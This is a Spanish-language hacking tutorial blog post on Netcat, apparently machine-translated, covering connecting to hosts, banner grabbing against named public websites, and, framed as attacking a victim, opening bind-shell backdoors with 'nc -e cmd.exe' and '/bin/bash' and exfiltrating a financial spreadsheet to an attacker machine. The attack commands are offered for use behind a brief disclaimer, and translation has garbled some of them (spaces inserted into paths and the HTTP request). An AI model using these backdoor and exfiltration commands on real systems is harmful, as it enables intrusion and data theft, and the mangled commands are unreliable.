|

Cómo usar Netcat: un cuchillo suizo para hackear

Bienvenido de nuevo, mis hackers!

Durante más de 15 años, los hackers han estado utilizando una herramienta pequeña pero muy poderosa para una amplia gama de tareas. Esta herramienta se llama Netcat, y aunque es bien conocida en los círculos de hackers, pocas personas la conocen fuera de la comunidad de hackers. Es tan poderoso y útil que muchos lo llaman el «cuchillo hacker suizo».

En este artículo consideraremos las capacidades de esta herramienta simple y necesaria.

¿Qué es realmente Netcat?

Netcat fue creado como una herramienta de análisis de red. Fue desarrollado por un hombre del que solo conocemos su apodo: «El Hobbit». Sin ninguna compensación material, transfirió esta herramienta a la comunidad de TI, por lo que recibió el merecido respeto y reconocimiento de la comunidad. Gracias el hobbit!

Bueno, dado que esta es una herramienta de análisis, puede usarla para abrir conexiones TCP y UDP entre dos máquinas en cualquier puerto. Se puede usar como una herramienta de escaneo de puertos, similar a nmap, para reenviar puertos, proxy, un servidor web simple y también para abrir una puerta trasera para un hacker.

Veamos algunas de estas características usando el sistema BackTrack.

Paso 1. Abra Netcat

Tan pronto como iniciamos el sistema BackTrack y abrimos la terminal, podemos usar netcat desde cualquier directorio, porque está por defecto en el directorio bin, que se encuentra en nuestra variable de sistema PATH. Entonces, escriba la consola:

nc -h

Como puede ver en la captura de pantalla, la sintaxis básica de netcat es la siguiente.

Para conectarse a otra máquina:

  • puerto de dirección IP de host de opciones nc

Para escuchar las conexiones entrantes:

  • nc -l -p puerto

Paso 2. Usando Netcat para conectarse a un sistema remoto

Usemos netcat para conectarse a un sistema remoto. En este caso, intentaremos conectarnos al servidor web en el puerto 80. Para hacer esto, ingrese:

nc 192.168.1.105 80

Este comando creará una conexión TCP predeterminada para nosotros con un servidor web ubicado en 192.168.1.105 en el puerto 80. Ahora, no importa lo que escribamos en la consola, después de presionar Enter, se enviará directamente al servidor web.

Paso 3. Usa Netcat para «capturar el banner»

Una vez que hemos establecido una conexión TCP con el servidor web, podemos usar netcat para, como dicen, «agarrar el banner» del servidor web, es decir. Determine qué software está utilizando la víctima.

Recuerde que antes de atacar cualquier sistema, necesitamos aprender lo más posible sobre la víctima. Netcat puede ayudarnos con esto capturando los banners que los servidores web transmiten cuando reciben nuevas conexiones.

Ahora que tenemos una conexión establecida, podemos capturar el banner del servidor web escribiendo en la consola:

HEAD / HTTP / 1.0

Tenga cuidado y copie este comando exactamente como se escribió, es decir usando barras y espacios.

Presione Entrar varias veces, y el servidor web responderá con su banner que nos dirá en qué software se está ejecutando. En este caso, vemos que Microsoft IIS 6.0 se está ejecutando en el servidor web.

También podemos usar esta técnica en otros sitios web. Intentemos netcat nuevamente en varios sitios web conocidos y veamos en qué software se ejecutan sus servidores web. Probemos el sitio web wonderhowto.com. Cuando hagamos ping (ping) wonderhowto.com, veremos su dirección IP: 98.129.110.26. Luego podemos ingresar en la consola:

nc 98.129.110.26 80

Una vez recibida la conexión, podemos tomar el banner del servidor web escribiendo:

HEAD / HTTP / 1.0

Y luego debes presionar Enter dos o tres veces.

Como podemos ver, wonderhowto.com se ejecuta en Microsoft-IIS / 7.5.

Si intentamos hacer lo mismo con cnn.com, obtenemos los siguientes resultados:

Curiosamente, cnn.com se ejecuta en nginx, un servidor web de código abierto que en muy poco tiempo igualó el número total de instalaciones de Microsoft IIS en todo el mundo (pero Apache todavía usa más del 60% de los servidores web del planeta).

Pruebe netcat en otros sitios y descubra en qué servidores se están ejecutando.

Paso 4. Usando Netcat para escuchar conexiones

Ahora prueba netcat como oyente en un sistema remoto. Supongamos que tenemos un servidor que ejecuta Windows en el que instalamos netcat. Ahora podemos ingresar el siguiente comando para decirle a netcat que escuche en el puerto 6996 (puede ser cualquier puerto) en este sistema.

nc -l -p 6996

Este comando creó un «oyente» al que podemos conectarnos. Tenga en cuenta que en los sistemas Windows podemos ejecutar el mismo comando con L en mayúsculas y, por lo tanto, crear un «escucha» permanente que funcionará incluso si el sistema se reinicia.

Paso 5. Crear una puerta trasera

Ahora cree una puerta trasera en el sistema de la víctima, a la que podamos volver en cualquier momento. El comando será ligeramente diferente dependiendo de si atacamos Linux o Windows.

Para Windows usamos:

nc -l -p 6996 -e cmd.exe

Para Linux usamos;

nc -l -p 6996 -e / bin / bash

Esto abrirá un «oyente» en el sistema, que traducirá la ruta de comando de Windows o el shell bash de Linux en el sistema adjunto a través de sí mismo. Luego en nuestro sistema de ataque ingresamos:

nc 192.168.1.105 6996

Como puede ver, la línea de comandos de Windows se pasó a través de la conexión netcat directamente a nuestro sistema de ataque.

Paso 6. Copiar archivos (exfiltración) del sistema de destino

Netcat también se puede utilizar para filtrar (copiar o recibir sin autorización) archivos y datos de una víctima. Imagine que en el sistema de víctimas hay algunos datos que realmente necesitamos. Tal vez se trata de algún tipo de información o información financiera almacenada en una base de datos. Podemos usar una conexión oculta para copiar lentamente estos datos en nuestro sistema de ataque. En este ejemplo, obtendremos de esta manera un archivo llamado financialprojections.xls, presumiblemente un archivo Excel con pronósticos financieros.

Desde el sistema fuente, ingresamos en la consola:

type financialprojections.xls | nc 192.168.1.104 6996

Este comando dice que asigne el archivo financialprojections.xls y luego lo haga un túnel (|) en netcat (nc) a la dirección IP 192.168.1.104 a través del puerto 6996.

Desde el sistema de destino, luego ingresamos:

nc -l -p 6996> financialprojections.xls

Este comando dice crear un «oyente» (l) en el puerto (p) 6996 y luego enviar los datos recibidos en este «oyente» a un archivo llamado financialprojections.xls.

¡La captura de pantalla siguiente muestra que el archivo se copió a través de la conexión netcat a través del puerto 6996 a nuestra computadora atacante!

Estos son solo algunos ejemplos de lo que puede hacer este poderoso programa pequeño. ¡Imagina las cosas increíbles que puedes hacer cuando combinas sus características con tus habilidades de scripting!

En futuros artículos, veremos otras formas de usar esta pequeña herramienta y veremos qué más puede ayudar a los hackers exigentes, ¡así que asegúrese de regresar!

Descargo de responsabilidad : este artículo está escrito solo con fines educativos. El autor o editor no publicó este artículo con fines maliciosos. Si los lectores desean utilizar la información para beneficio personal, el autor y el editor no son responsables de ningún daño o daño causado.

Publicaciones Similares

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *